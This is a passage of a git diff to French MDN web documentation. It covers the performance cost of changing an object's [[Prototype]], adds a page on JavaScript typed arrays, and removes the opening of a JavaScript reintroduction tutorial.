Dans ce cas, si on teste les formes, cela implique qu'aucun prototype n'a été modifié sur la chaîne. Ainsi, lorsqu'un prototype est modifié, les formes de tous les objets situés sur le long de la chaîne doivent être changées.
+
+ 
var obj1 = {};
+var obj2 = Object.create(obj1);
+var obj3 = Object.create(obj2);
+
+// Les objets dont la forme va changer
+// obj3, obj2, obj1, Object.prototype
+obj3.__proto__ = {};
+
+
La forme de l'objet initial peut être vérifiée.
+
Chaque objet qui peut hériter d'une propriété via un prototype modifié doit être modifié afin de refléter ces changements.
+
+ 
var obj1 = {};
+var obj2 = Object.create(obj1);
+var obj3 = Object.create(obj2);
+
+// Les objets dont la forme va changer
+// obj1, obj2, obj3
+obj1.__proto__ = {};
+
+
+ +

Les effets néfastes de la modification de [[Prototype]]

+ +

Les changements de [[Prototype]] impactent les performances sur deux phases : lors du changement puis par la suite. Pour commencer, modifier [[Prototype]] est lent, ensuite modifier [[Prototype]] ralentit le code qui doit interagir avec les objets dont [[Prototype]] a été modifié.

+ +

Modifier un [[Prototype]] prend du temps

+ +

Bien que la spécification représente le changement de [[Prototype]] comme la simple modification d'une propriété cachée, les implémentations réelles sont beaucoup plus complexes. Les tactiques précédentes utilisant les formes nécessitent d'examiner (et de modifier) plus d'un objet. Dans la pratique, l'approche qui modifiera le moins d'objets sera différente en fonction de la charge provoquée par le cas d'usage.

+ +

Les [[Prototype]]s modifiés ralentissent le code

+ +

Les mauvaises nouvelles ne s'arrêtent une fois la modification terminée. De nombreuses opérations utilisées pour examiner les propriétés reposent sur l'hypothèse de conservation de la chaîne de [[Prototype]]. Lorsque le moteur observe une modification, l'objet avec le prototype modifié « empoisonne » tout le code qui manipule cet objet. Voici un cas d'école assez désastreux :

+ +
var obj = {};
+obj.__proto__ = { x: 3 }; // modification gratuite
+
+var arr = [obj];
+for (var i = 0; i < 5; i++)
+  arr.push({ x: i });
+
+function f(v, i) {
+  var elt = v[i];
+  var r =  elt.x > 2 // non optimal
+           ? elt
+           : { x: elt.x + 1 };
+  return r;
+}
+var c = f(arr, 0);
+c.x; // non optimal : la valeur a des propriétés inconnues
+c = f(arr, 1);
+c.x; // non optimal !
+
+var arr2 = [c];
+arr2[0].x; // non optimal
+
+ +

Seul le code exécuté à de nombreuses reprises est optimisé et cet exemple ne déclenche pas tous ces comportements. En revanche pour du code « chaud », on pourrait rencontrer ces problèmes.

+ +

Pouvoir tracer l'utilisation d'un objet dont le prototype a été modifié, souvent parmi différents scripts, est extraordinairement complexe. Cela nécessite une analyse textuelle soignée et dépend des comportements à l'exécution. Des modifications indépendentes en apparence peuvent avoir des impacts bien plus loin et le code employé, auparavant optimal, sera alors sous-optimal et plus lent.

+ +

Il faudrait sinon pouvoir stocker des informations cross-objet.

+ +

Les informations cross-objet sont différentes des formes et on ne peut pas les vérifier simplement. Une modification apportée à cette information pourrait avoir des impacts à de nombreux emplacements, pas nécessairement évidents : dans ce cas, où vérifier que les hypothèses sont respectées ? Ainsi, plutôt que de vérifier ces hypothèses avant l'utilisation, on invalide toutes les hypothèses lorsqu'une modification se produit. Lorsque [[Prototype]] change, tout le code qui en dépend doit être rejeté.  L'opération obj.__proto__ = ... est donc lente par nature. En rejetant du code optimisé, cela rend le code beaucoup plus lent par la suite.

+ +

Encore pire, lorsqu'on évalue obj.prop, le moteur voit que l'objet a eu son [[Prototype]] changé et les informations précédemment enregistrées à propos de l'objet deviennent inutiles et SpiderMonkey considère que l'objet possède des caractéristiques inconnues. Ainsi, tout code qui manipule cet objet par la suite prendra l'hypothèse correspondant au pire des cas. L'optimisation des moteurs de compilation à la volée fonctionnent sur l'hypothèse que l'exécution à venir est similaire à l'exécution passée. Si du code observe un objet avec un [[Prototype]] modifié, ce code observera vraisemblablement d'autres objets. C'est pourquoi, toutes les opérations qui intéragissent avec un objet dont le [[Prototype]] a changé, ne peuvent pas être optimisées.

diff --git a/files/fr/web/javascript/typed_arrays/index.html b/files/fr/web/javascript/typed_arrays/index.html new file mode 100644 index 0000000000..7ecfe6e9a8 --- /dev/null +++ b/files/fr/web/javascript/typed_arrays/index.html @@ -0,0 +1,178 @@ +--- +title: Les tableaux typés en JavaScript +slug: Web/JavaScript/Tableaux_typés +tags: + - Advanced + - Guide + - JavaScript + - Typed Arrays +translation_of: Web/JavaScript/Typed_arrays +--- +
{{JsSidebar("Advanced")}}
+ +

Les tableaux typés JavaScript sont des objets semblables à des tableaux qui permettent d'accéder à des données binaires brutes. Pour rappel, les objets {{jsxref("Array")}} qui représentent des tableaux en JavaScript peuvent être agrandis ou réduits dynamiquement et permettent de stocker n'importe quelle valeur JavaScript. Afin que la manipulation de ces objets soit efficace, le moteur JavaScript applique un certain nombre d'optimisations. Cependant, avec les avancées réalisées (telles que les flux audio et vidéo avec WebRTC et les WebSockets), il devient nécessaire de pouvoir manipuler des données binaires brutes au sein de tableaux typés, c'est pour ça que ces objets ont été introduits.

+ +

Ne pas confondre les tableaux typés et les tableaux « classiques » ({{jsxref("Array")}}). En effet, la méthode {{jsxref("Array.isArray()")}} renverra false lorsqu'elle sera utilisée sur un tableau typé. De plus, certaines des méthodes des tableaux « classiques » ne sont pas disponibles pour les tableaux typés (par exemple push et pop).

+ +

Tampon de mémoire et vue : l'architecture des tableaux typés

+ +

Afin de permettre une meilleure efficacité et une meilleure flexibilité, l'implémentation des tableaux typés JavaScript est séparée entre : les tampons de mémoire (buffers) d'une part et les vues (views) d'autre part. Un tampon de mémoire, implémenté avec l'objet {{jsxref("ArrayBuffer")}}, est un objet qui représente un fragment de données, il n'a pas de format à proprement parler et n'offre aucune fonctionnalité pour accéder à son contenu. Afin d'accéder à la mémoire contenue dans le tampon, on doit utiliser une vue. Une vue fournit un contexte (c'est-à-dire un type de donnée, un emplacement pour le début de la lecture (offset) et un nombre d'éléments ; c'est ce contexte qui permet de définir le tableau typé.

+ +

Typed arrays in an ArrayBuffer

+ +

ArrayBuffer

+ +

Le type {{jsxref("ArrayBuffer")}} est un type de données générique pour représenter un tampon de données de longueur fixe. Le contenu d'un ArrayBuffer ne peut pas être manipulé directement, il faut pour cela créer une vue sous forme d'un tableau typé ou une vue {{jsxref("DataView")}} qui représente le tampon dans un format donné et utiliser cet objet pour lire et écrire du contenu dans le tampon de données.

+ +

Les vues sous forme de tableaux typés

+ +

Les tableaux typés qui sont les vues sur ces tampons de mémoire possèdent des noms explicites correspondant aux types numériques habituels tels que Int8, Uint32, Float64 et ainsi de suite. Il existe un type de tableau typé spécial, Uint8ClampedArray. Ce type permet de ramener (clamp) les valeurs observées entre 0 et 255. Cela peut notamment être utilisé pour traiter les données d'un canvas par exemple.

+ +

{{page("/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray", "Les_objets_TypedArray")}}

+ +

DataView

+ +

Le type {{jsxref("DataView")}} permet de créer des objets qui seront des interfaces (bas niveau) pour lire/écrire des données dans le tampon de mémoire. Cela peut par exemple être utile lorsqu'on souhaite manipuler différents types de données. Les vues sous forme de tableaux typés suivent le même boutisme (endianness) que la plate-forme. Avec un objet DataView, il est possible de définir l'ordre des octets à considérer (qui sera par défaut du grand boutisme (big-endian) mais qui pourra être défini en petit boutisme (little-endian) dans les différentes méthodes d'accès/écriture).

+ +

Les API Web utilisant les tableaux typés

+ +
+
FileReader.prototype.readAsArrayBuffer()
+
La méthode FileReader.prototype.readAsArrayBuffer() permet de lire le contenu d'un Blob ou File donné.
+
XMLHttpRequest.prototype.send()
+
XMLHttpRequest et sa méthode send() peuvent désormais être utilisées avec un argument qui est un tableau typé ou un {{jsxref("ArrayBuffer")}}.
+
ImageData.data
+
Un objet du type {{jsxref("Uint8ClampedArray")}} qui représente un tableau unidimensionnel contenant les données de l'image dans l'ordre RGBA, les entiers utilisés sont compris entre 0 et 255 (au sens large).
+
+ +

Exemples

+ +

Utiliser les vues et les tampons

+ +

Tout d'abord, il faut créer un tampon (buffer). Ici, on crée un buffer de 16 octets :

+ +
let buffer = new ArrayBuffer(16);
+
+ +

Grâce à cette instruction, on dispose désormaits d'un fragment de mémoire dont tous les octets sont pré-initialisés à 0. Si c'est déjà une bonne chose de faite, cela n'a pas grande utilité. On peut déjà confirmer que la longueur du tampon est bien celle spécifiée initialement :

+ +
if (buffer.byteLength === 16) {
+  console.log("Oui, il mesure bien 16 octets.");
+} else {
+  console.log("Non, ce n'est pas la bonne taille !");
+}
+
+ +

Avant qu'on puisse travailler avec ce tampon, il faut créer une vue. Ici, on crée une vue qui traite le tampon comme un tableau d'entiers signés représentés sur 32 bits :

+ +
let int32View = new Int32Array(buffer);
+
+ +

Désormais, on peut accéder aux éléments du tableau typé comme avec un tableau classique :

+ +
for (let i = 0; i < int32View.length; i++) {
+  int32View[i] = i * 2;
+}
+
+ +

Ce fragment de code permet de remplir les 4 éléments du tableau (4 éléments faisant chacun 4 octets, ce qui remplit les 16 octets du tableau) avec les valeurs 0, 2, 4, et 6.

+ +

Plusieurs vues sur les mêmes données

+ +

On commence à avoir des cas d'utilisation intéressants quand on peut créer plusieurs vues sur les mêmes données. Ainsi, en utilisant le code précédent, on peut continuer avec :

+ +
let int16View = new Int16Array(buffer);
+
+for (let i = 0; i < int16View.length; i++) {
+  console.log("Élément " + i + " : " + int16View[i]);
+}
+
+ +

Ici, on crée une vue pour des éléments sur 16 bits qui partage le même tampon que la vue précédente (qui était une vue avec des éléments sur 32 bits) et on affiche les valeurs contenues dans le tampon sous formes d'entiers représentés sur 16 bits. Le résultat obtenu est ici 0, 0, 2, 0, 4, 0, 6, 0.

+ +

On peut aller encore plus loin, par exemple :

+ +
int16View[0] = 32;
+console.log("L'élément 0 du tableau 32 bits est désormais " + int32View[0]);
+
+ +

Le résultat obtenu sera "L'élément 0 du tableau 32 bits est désormais 32". Autrement dit, les deux tableaux typés construits ne sont que des vues sur le même tampon de données. Ce genre de manipulation peut être effectuée avec n'importe quel type de vue.

+ +

Manipuler des structures de données complexes

+ +

En combinant un même tampon et plusieurs vue de différents types, chacune commençant à un endroit différent dans le tampon, il est possible d'interagir avec des données qui représentent des objets contenant plusieurs types de données. Cela permet entre autres d'intéragir avec des structures de données complexes telles que WebGL, des fichiers de données, des structures C (notamment avec js-ctypes).

+ +

Si on a cette structure C :

+ +
struct uneStruct {
+  unsigned long id;
+  char nom_utilisateur[16];
+  float montant;
+};
+ +

On peut réceptionner les données d'un tampon qui contiendrait des objets de ce type grâce à:

+ +
let buffer = new ArrayBuffer(24);
+
+// ... on lit les données dans le tampon ...
+
+let vueId = new Uint32Array(buffer, 0, 1);
+let vueNomUtilisateur = new Uint8Array(buffer, 4, 16);
+let vueMontant = new Float32Array(buffer, 20, 1);
+ +

On peut ensuite accéder au montant lié à un utilisateur, par exemple, avec vueMontant[0].

+ +
Note : L'alignement des structures de données dans une structure C dépend de la plate-forme. Il est donc nécessaire de prendre des précautions quant au format attendu.
+ +

Convertir un tableau typé en un tableau normal

+ +

Dans certains cas d'utilisation, après avoir traité un tableau typé, il peut être utile de convertir le tableau typé en un tableau normal ({{jsxref("Array")}}) afin de bénificier des propriétés du prototype d'Array. Pour cela, on peut utiliser la méthode {{jsxref("Array.from")}}. Si Array.from() n'est pas disponible, on peut effectuer cette conversion de la façon suivante :

+ +
let tableauTypé = new Uint8Array([1, 2, 3, 4]),
+    tableauNormal = Array.prototype.slice.call(tableauTypé);
+tableauNormal.length === 4;
+tableauNormal.constructor === Array;
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée par ECMAScript 2015.
{{SpecName('ES2015', '#sec-typedarray-objects', 'TypedArray Objects')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-typedarray-objects', 'TypedArray Objects')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Int8Array")}}

+ +

Voir aussi

+ + diff --git "a/files/fr/web/javascript/une_r\303\251introduction_\303\240_javascript/index.html" "b/files/fr/web/javascript/une_r\303\251introduction_\303\240_javascript/index.html" deleted file mode 100644 index fd730c44fd..0000000000 --- "a/files/fr/web/javascript/une_r\303\251introduction_\303\240_javascript/index.html" +++ /dev/null @@ -1,960 +0,0 @@ ---- -title: Une réintroduction à JavaScript -slug: Web/JavaScript/Une_réintroduction_à_JavaScript -tags: - - Intermediate - - JavaScript - - Tutorial -translation_of: Web/JavaScript/A_re-introduction_to_JavaScript ---- -
{{jsSidebar}}
- -

Introduction

- -

Pourquoi une réintroduction ? Parce que JavaScript peut raisonnablement se targuer d'être le langage de programmation le plus incompris au monde. Bien que souvent raillé comme étant un simple jouet, derrière sa simplicité désarmante se cachent certaines fonctionnalités de langage très puissantes. De nombreuses applications JavaScript de premier plan sont apparues, ce qui montre qu'une connaissance approfondie de cette technologie est une compétence importante pour tout développeur Web.

- -

Il peut être utile de commencer avec un aperçu de l'histoire de ce langage. JavaScript a été créé en 1995 par Brendan Eich, un ingénieur de Netscape, et ce langage est sorti au grand jour pour la première fois avec Netscape 2 au début de l'année 1996. Il était au départ censé s'appeler LiveScript, mais a été renommé par une décision marketing néfaste dans le but de capitaliser sur la popularité du langage Java de Sun Microsystems, malgré le fait qu'ils n'aient que très peu en commun. Cela n'a jamais cessé d'être une source de confusion.

- -

Quelques mois plus tard, Microsoft a lancé avec Internet Explorer 3 une version du langage globalement compatible, appelée JScript. Quelques mois après, Netscape a soumis le langage à l'Ecma International, une organisation de normalisation européenne, ce qui a permis d'aboutir à la première édition du standard ECMAScript en 1997. Ce standard a reçu une mise à jour importante appelée ECMAScript edition 3 en 1999, et est resté relativement stable depuis. La quatrième édition a été abandonnée suite à des différends portants sur la complexité du langage. De nombreuses sections de la quatrième édition ont été utilisées pour servir de fondation à la cinquième édition d'ECMAScript, publiée en décembre 2009. La sixième édition, qui apporte des nouveautés majeures a été publiée en juin 2015.

- -
-

Note : Dans la suite de cet article et à des fins de simplicité, nous utiliserons les termes « JavaScript » et « ECMAScript » pour désigner la même chose.

-
- -

Cette stabilité est une excellente nouvelle pour les développeurs, parce qu'elle a donné aux différentes implémentations tout le temps nécessaire pour s'y adapter.

- -

Contrairement à la plupart des langages de programmation, JavaScript n'a pas de concept d'entrée ou de sortie. Il est conçu pour s'exécuter comme un langage de script dans un environnement hôte, et c'est à cet environnement de fournir des mécanismes de communication avec le monde extérieur. L'environnement hôte le plus commun est un navigateur, mais des interpréteurs JavaScript existent également dans Adobe Acrobat, Photoshop, les images SVG, le moteur de widgets de Yahoo!, et même au sein d'environnements côté serveur tels que Node.js. Cette liste ne se limite pas qu'à ces éléments et on retrouve également JavaScript dans les bases de données NoSQL telles que Apache CouchDB, les ordinateurs embarqués ou encore des environnements de bureaux comme GNOME (l'une des interfaces graphiques les plus populaires des systèmes d'exploitation GNU/Linux).

- -

Aperçu

- -

JavaScript est un langage dynamique multi-paradigme : il dispose de différents types, opérateurs, objets natifs et méthodes. Sa syntaxe s'inspire des langages Java et C, donc de nombreuses structures de ces langages s'appliquent également à JavaScript. À la différence de ces langages, JavaScript n'a pas de classes. Au lieu de cela, la fonctionnalité des classes est reprise par les prototypes d'objet (voir notamment l'héritage et la chaîne de prototypes ainsi que le sucre syntaxique pour les {{jsxref("Classes")}} apparu avec ES6/ES2015). L'autre grande différence tient dans le fait que les fonctions sont des objets, on peut donc stocker ces fonctions dans des variables et les transmettre comme n'importe quel objet.

- -

Commençons par nous intéresser à la brique de base de tout langage : les types. Les programmes en JavaScript manipulent des valeurs, et ces valeurs appartiennent toutes à un type. Les types JavaScript sont :

- -
    -
  • Les nombres : {{jsxref("Number")}}
    • -
  • Les chaînes de caractères : {{jsxref("String")}}
    • -
  • Les booléens : {{jsxref("Boolean")}}
    • -
  • Les fonctions : {{jsxref("Function")}}
    • -
  • Les objets : {{jsxref("Object")}}
    • -
  • Les symboles : {{jsxref("Symbol")}} (apparus avec la sixième édition d'ECMAScript, ES2015)
    • -
- -

On aura également {{jsxref("undefined")}} et {{jsxref("null")}}, qui sont relativement étranges. Les {{jsxref("Array","tableaux","",1)}} ou Array permettent d'organiser des séries d'objets au sein d'un même objet. Les {{jsxref("Date","dates","",1)}} et les {{jsxref("RegExp","expressions rationnelles","",1)}} ou RegExp qui sont  également des objets immédiatement disponibles en JavaScript. Afin d'être cohérent, les fonctions sont aussi une sorte particulière d'objets, de sorte que le diagramme de types ressemble en fait plus à ceci :

- -
    -
  • {{jsxref("Number")}}
    • -
  • {{jsxref("String")}}
    • -
  • {{jsxref("Boolean")}}
    • -
  • {{jsxref("Symbol")}} (apparu avec la sixième édition d'ECMAScript, ES2015)
    • -
  • {{jsxref("Object")}} -
      -
    • {{jsxref("Function")}}
      • -
    • {{jsxref("Array")}}
      • -
    • {{jsxref("Date")}}
      • -
    • {{jsxref("RegExp")}}
      • -
    -
    • -
  • {{jsxref("null")}}
    • -
  • {{jsxref("undefined")}}
    • -
- -

Enfin, il y a également quelques types natifs pour gérer les exceptions : {{jsxref("Error")}}.

- -

Les nombres

- -

Les nombres en JavaScript sont « des valeurs au format IEEE 754 en double précision 64 bits », d'après la spécification. Les conséquences de ce choix sont intéressantes. Il n'y a par exemple pas de type entier en JavaScript, donc il vous faudra faire preuve d'un petit peu de prudence avec les opérations arithmétiques si vous avez l'habitude de faire des maths en C ou en Java. Attendez-vous à obtenir des résultats comme :

- -
0.1 + 0.2 == 0.30000000000000004
-
- -

Dans la pratique, les valeurs entières sont traîtées comme des entiers représentés sur 32 bits (certaines implémentations stockent également les entiers sur 32 bits). Cela est important quand on souhaite effectuer des opérations en binaire. Pour plus de détails, voir les articles sur les opérateurs binaires.

- -

Les opérateurs numériques standards sont gérés, dont l'addition, la soustraction, le modulo (ou reste) arithmétique et ainsi de suite. Il y a également un objet natif, qui n'a pas été mentionné jusqu'à présent, appelé {{jsxref("Math")}}, qui permet de gérer certaines fonctions et constantes mathématiques plus avancées :

- -
Math.sin(3.5);
-var aire = Math.PI * r * r;
-
- -

On peut convertir une chaîne de caractères en un nombre entier à l'aide de la fonction intégrée {{jsxref("Objets_globaux/parseInt","parseInt()")}}. Elle reçoit la base de conversion comme second paramètre , qui devrait toujours être fourni afin de lever une éventuelle ambiguïté :

- -
parseInt("123", 10); // 123
-parseInt("010", 10); //10
-
- -

Si la base n'est pas indiquée, les résultats peuvent être surprenants dans les anciens navigateurs (avant 2013) :

- -
parseInt("010");  //  8
-parseInt("0x10"); // 16
-
- -

Cela se produit parce que la fonction {{jsxref("Objets_globaux/parseInt","parseInt()")}} a été implémentée pour traiter la chaîne comme un nombre octal à cause du zéro initial.

- -

Si on souhaite convertir un nombre binaire en un entier, il suffit simplement de changer la base :

- -
parseInt("11", 2); // 3
-
- -

De la même manière, vous pouvez traiter les nombres à virgule flottante à l'aide de la fonction intégrée {{jsxref("Objets_globaux/parseFloat","parseFloat()")}}, qui, à la différence de {{jsxref("Objets_globaux/parseInt","parseInt()")}}, utilise toujours la base 10.

- -

On peut également utiliser l'opérateur unaire + pour convertir des valeurs en nombres :

- -
+ "42";   // 42
-+ "010";  // 10
-+ "0x10"; // 16
-
- -

Une valeur spéciale appelée {{jsxref("NaN")}} (qui signifie « Not a Number », soit « pas un nombre ») est renvoyée si la chaîne est non numérique :

- -
parseInt("coucou", 10); // NaN
-
- -

NaN est « toxique » : si cette valeur est fournie en entrée pour n'importe quelle opération mathématique, le résultat sera également NaN :

- -
NaN + 5; // NaN
-
- -

Cette valeur peut être détectée grâce à la fonction native {{jsxref("Objets_globaux/isNaN","isNaN()")}} :

- -
isNaN(NaN); // true
-
- -

JavaScript dispose également de valeur spéciales pour l'infini {{jsxref("Infinity")}} et l'infini négatif (-Infinity) :

- -
1 / 0; // Infinity
--1 / 0; // -Infinity
-
- -

Il est possible de tester les valeurs Infinity, -Infinity et NaN à l'aide de la fonction native {{jsxref("Objets_globaux/isFinite","isFinite()")}} :

- -
isFinite(1/0); // false
-isFinite(-Infinity); // false
-isFinite(NaN); // false
-
- -
Note : Les fonctions {{jsxref("Objets_globaux/parseFloat","parseFloat()")}} et {{jsxref("Objets_globaux/parseInt","parseInt()")}} traitent une chaîne de caractères jusqu'à ce qu'elles atteignent un caractère qui n'est pas valide pour le format numérique indiqué, puis renvoient le nombre traité jusqu'à ce point. Cependant, l'opérateur "+" convertit simplement la chaîne à NaN à partir du moment où la chaîne contient le moindre caractère non valide. Vous pouvez tester ce comportement en manipulant la chaîne "10.2abc" avec chaque méthode dans la console afin de mieux comprendre les différences.
- -

Les chaînes de caractères

- -

Les chaînes en JavaScript sont des séquences de caractères. Pour être plus précis, ce sont des séquences de caractères Unicode, chaque caractère étant représenté par un nombre de 16 bits. Cette nouvelle devrait être bien accueillie par toute personne qui a déjà eu affaire à des problèmes d'internationalisation.

- -

Si vous voulez représenter un seul caractère, il suffit d'utiliser une chaîne qui contient un seul caractère.

- -

Pour connaître la longueur d'une chaîne, utilisez sa propriété {{jsxref("String/length","length")}} :

- -
"bonjour".length; // 7
-
- -

C'est notre première rencontre avec les objets JavaScript ! Les chaînes peuvent également être utilisées comme des objets. Elles possèdent aussi des méthodes permettant de manipuler la chaîne et d'accéder à certaines informations sur cette chaîne de caractères :

- -
"bonjour".charAt(0); // "b"
-"coucou monde".replace("coucou", "bonjour"); // "bonjour monde"
-"bonjour".toUpperCase(); // "BONJOUR"
-
- -

Les autres types

- -

JavaScript fait la distinction entre {{jsxref("null")}}, qui est un objet de type object indiquant une absence délibérée de valeur, et {{jsxref("undefined")}} qui est un objet de type undefined indiquant une variable non initialisée — c'est-à-dire qui n'a pas encore été assignée. Nous parlerons des variables plus tard, mais en JavaScript il est possible de déclarer une variable sans lui assigner de valeur. Si vous faites cela, le type de la variable sera undefined qui est une constante.

- -

JavaScript dispose d'un type booléen, dont les valeurs possibles sont true (vrai) et false (faux). L'un et l'autre sont des mots clés. Toute valeur peut être convertie en une valeur booléenne selon les règles suivantes :

- -
    -
  1. false, 0, la chaîne vide (""), NaN, null et undefined deviennent toutes false 
    2. -
  2. toutes les autres valeurs deviennent true.
    3. -
- -

Cette conversion peut être faite de manière explicite à l'aide de la fonction Boolean() :

- -
Boolean(""); // false
-Boolean(234); // true
-
- -

Cependant, c'est rarement nécessaire, puisque JavaScript effectuera cette conversion silencieusement chaque fois qu'il attend une valeur booléenne, comme par exemple dans une instruction if (voir plus bas). Pour cette raison, on parle souvent simplement de valeurs « vraies » et « fausses » pour indiquer des valeurs devenant respectivement true et false lorsqu'elles sont converties en valeurs booléennes.

- -

Les opérations booléennes comme && (et logique), || (ou logique) et ! (non logique) sont également gérées, comme on le verra plus bas.

- -

Les variables

- -

En JavaScript, on peut déclarer de nouvelles variables grâce à l'un de ces trois mots-clés : let, const, ou var.

- -

let permet de déclarer des variables qui pourront être utilisées dans un bloc. La variable déclarée avec let est uniquement disponible dans le bloc qui contient la déclaration.

- -
let a;
-let nom = "Simon";
-
- -

Voici un exemple de portée avec let :

- -
// variableLet n'est pas utilisable ici
-
-for ( let variableLet = 0; variableLet < 5; variableLet++ ) {
-  // variableLet peut être utilisée ici
-}
-
-// variableLet n'est pas utilisable ici
-
- -

const permet de déclarer des variables dont la valeur ne doit pas changer. Une variable déclarée avec const est disponible dans le bloc dans lequel elle est déclarée.

- -
// On définit la constante Pi
-const Pi = 3.14;
-
-// L'instruction qui suit provoquera une
-// erreur car on veut affecter une nouvelle
-// valeur à une constante.
-Pi = 1;
-
- -

var est le mot-clé le plus fréquemment utilisé pour déclarer des variables. Ce mot-clé était disponible avant let et const (c'était alors le seul qui permettait de déclarer des variables). Une variable qu'on déclare avec var est disponible dans le bloc de la fonction dans laquelle elle est déclarée.

- -
var a;
-var nom = "simon";
- -

Voici un exemple pour étudier la portée d'une variable déclarée avec var :

- -
// variableVar *est* utilisable ici
-
-for (var variableVar = 0; variableVar < 5; variableVar++) {
-  // variableVar *est* également disponible ici
-}
-
-// variableVar *est* toujours disponible ici
-
- -

Si on déclare une variable sans lui affecter aucune valeur, son type sera alors undefined.

- -

JavaScript possède une différence importante quant aux autres langages de programmation comme Java : en JavaScript, les blocs ne créent pas de portées pour les variables déclarées avec var, c'est la fonction qui gère la portée d'une variable déclarée avec var. Avec ECMAScript 2015, les instructions de déclarations, let et const permettent de créer des variables dont la portée est limitée à celle du bloc qui l'englobe.

- -

Les opérateurs

- -

Les opérateurs numériques en JavaScript sont +, -, *, / et % (qui est l'opérateur de reste, à ne pas confondre avec le « modulo » mathématique). Les valeurs sont affectées à l'aide de = et il existe également des opérateurs d'affectation combinés comme += et -=. Ils sont équivalents à x = x opérateur y.

- -
x += 5;
-x = x + 5;
-
- -

Vous pouvez utiliser ++ et -- respectivement pour incrémenter et pour décrémenter. Ils peuvent être utilisés comme opérateurs préfixes ou suffixes.

- -

L'opérateur + se permet également de concaténer des chaînes :

- -
"coucou" + " monde" // "coucou monde"
-
- -

Si vous additionnez une chaîne à un nombre (ou une autre valeur), tout est d'abord converti en une chaîne. Ceci pourrait vous surprendre :

- -
"3" + 4 + 5; // "345"
-3 + 4 + "5"; // "75"
-
- -

L'ajout d'une chaîne vide à quelque chose est une manière utile de la convertir en une chaîne.

- -

Les comparaisons en JavaScript se font à l'aide des opérateurs <, >, <= et >=. Ceux-ci fonctionnent tant pour les chaînes que pour les nombres. L'égalité est un peu moins évidente. L'opérateur double égal effectue une équivalence si vous lui donnez des types différents, ce qui donne parfois des résultats intéressants :

- -
123 == "123"; // true
-1 == true;    // true
-
- -

Pour éviter les calculs d'équivalences de types, utilisez l'opérateur triple égal :

- -
123 === "123"; //false
-true === true; // true
-
- -

Les opérateurs != et !== existent également.

- -

JavaScript dispose également d'opérations bit à bit.

- -

Les structures de contrôle

- -

JavaScript dispose d'un ensemble de structures de contrôle similaires aux autres langages de la famille du langage C. Les structures conditionnelles sont présentes avec if et else ; lesquels peuvent être chaînés si nécessaire :

- -
var nom = "des chatons";
-if (nom == "des chiots") {
-  nom += " !";
-} else if (nom == "des chatons") {
-  nom += " !!";
-} else {
-  nom = " !" + nom;
-}
-nom == "des chatons !!"
-
- -

JavaScript dispose également de boucles while et do-while. Les premières permettent de former des boucles basiques ; les secondes permettent de construire des boucles qui seront exécutées au moins une fois :

- -
while (true) {
-  // une boucle infinie !
-}
-
-do {
-  var input = getInput();
-} while (inputNonValide(input))
-
- -

Les boucles for en JavaScript sont les mêmes qu'en C et en Java : elles permettent de fournir les informations de contrôle de la boucle en une seule ligne.

- -
for (var i = 0; i < 5; i++) {
-  // Sera exécutée cinq fois
-}
-
- -

JavaScript permet également d'utiliser deux autres types de boucles : for...of :

- -
for (let value of array) {
-  // utiliser des instructions
-  // pour manipuler la valeur value
-}
- -

et for...in :

- -
for (let propriété in objet) {
-  // utiliser des instructions
-  // pour manipuler la propriété
-}
- -

Les opérateurs && et || utilisent une logique de court-circuit, ce qui signifie qu'ils exécuteront leur second opérande ou non selon la valeur du premier. C'est très utile pour vérifier qu'un objet n'est pas égal à null avant d'essayer d'accéder à ses attributs :

- -
var nom = o && o.getNom();
-
- -

Ou pour définir des valeurs par défaut :

- -
var nom = autreNom || "nomParDéfaut";
-
- -

De la même façon, le OU peut être utilisé pour mettre en cache des valeurs :

- -
var nom = nomEnCache || (nomEnCache = getNom());
- -

JavaScript propose également un opérateur ternaire pour les assignations conditionnelles en une ligne :

- -
var permis = (age > 18) ? "oui" : "non";
-
- -

L'instruction switch peut être utilisée pour différentes branches de code basées sur un nombre ou une chaîne :

- -
switch (action) {
-  case 'dessiner':
-    dessine();
-    break;
-  case 'manger':
-    mange();
-    break;
-  default:
-    neRienFaire();
-}
-
- -

Si vous n'ajoutez pas d'instruction break, l'exécution va se poursuivre au niveau suivant. C'est rarement ce qui est désiré, en fait ça vaut même la peine de préciser dans un commentaire si la poursuite au cas suivant est délibérée pour aider au débogage :

- -
switch (a) {
-  case 1: // identique au cas 2
-  case 2:
-    mange();
-    break;
-  default:
-    nerienfaire();
-}
-
- -

La clause default est optionnelle. Vous pouvez placer des expressions à la fois dans la partie switch et dans les cas à gérer si vous voulez ; les comparaisons entre les deux se font comme si on avait utilisé l'opérateur === :

- -
switch (1 + 3){
-  case 2 + 2:
-    yay();
-    break;
-  default:
-    nArriveJamais();
-}
- -

Les objets

- -

Les objets en JavaScript sont simplement des collections de paires nom-valeur. Dans ce sens, ils sont similaires aux :

- -
    -
  • dictionnaires en Python,
    • -
  • hashs en Perl et Ruby,
    • -
  • tables de hashing en C et C++,
    • -
  • HashMaps en Java,
    • -
  • tableaux associatifs en PHP.
    • -
- -

Le fait que cette structure de données soit si largement utilisée est un témoignage de sa polyvalence. Puisque tout (sauf les types de base) est un objet en JavaScript, tout programme écrit dans ce langage implique naturellement un grand nombre de recherches dans des tables de hashing. C'est une bonne chose que ce soit si rapide !

- -

La partie « nom » est une chaîne JavaScript, tandis que la partie « valeur » peut être n'importe quelle valeur JavaScript, y compris d'autres objets. Cela permet de construire des structures de données de n'importe quel niveau de complexité.

- -

Il existe deux façons très simples pour créer un objet vide :

- -
var obj = new Object();
-
- -

Et :

- -
var obj = {};
-
- -

Ces deux lignes sont sémantiquement équivalentes ; la seconde est appelée la syntaxe littérale d'objet, et est beaucoup plus pratique. Cette syntaxe n'existait pas dans les toutes premières versions du langage, c'est pourquoi on voit parfois du code utilisant l'ancienne méthode. Cette seconde syntaxe se rapproche également du format JSON.

- -

Une fois l'objet créé, ses propriétés peuvent à nouveau être consultées de deux manières différentes :

- -
obj.nom = "Simon"
-var nom = obj.nom;
-
- -

Et…

- -
obj["nom"] = "Simon";
-var nom = obj["nom"];
-
- -

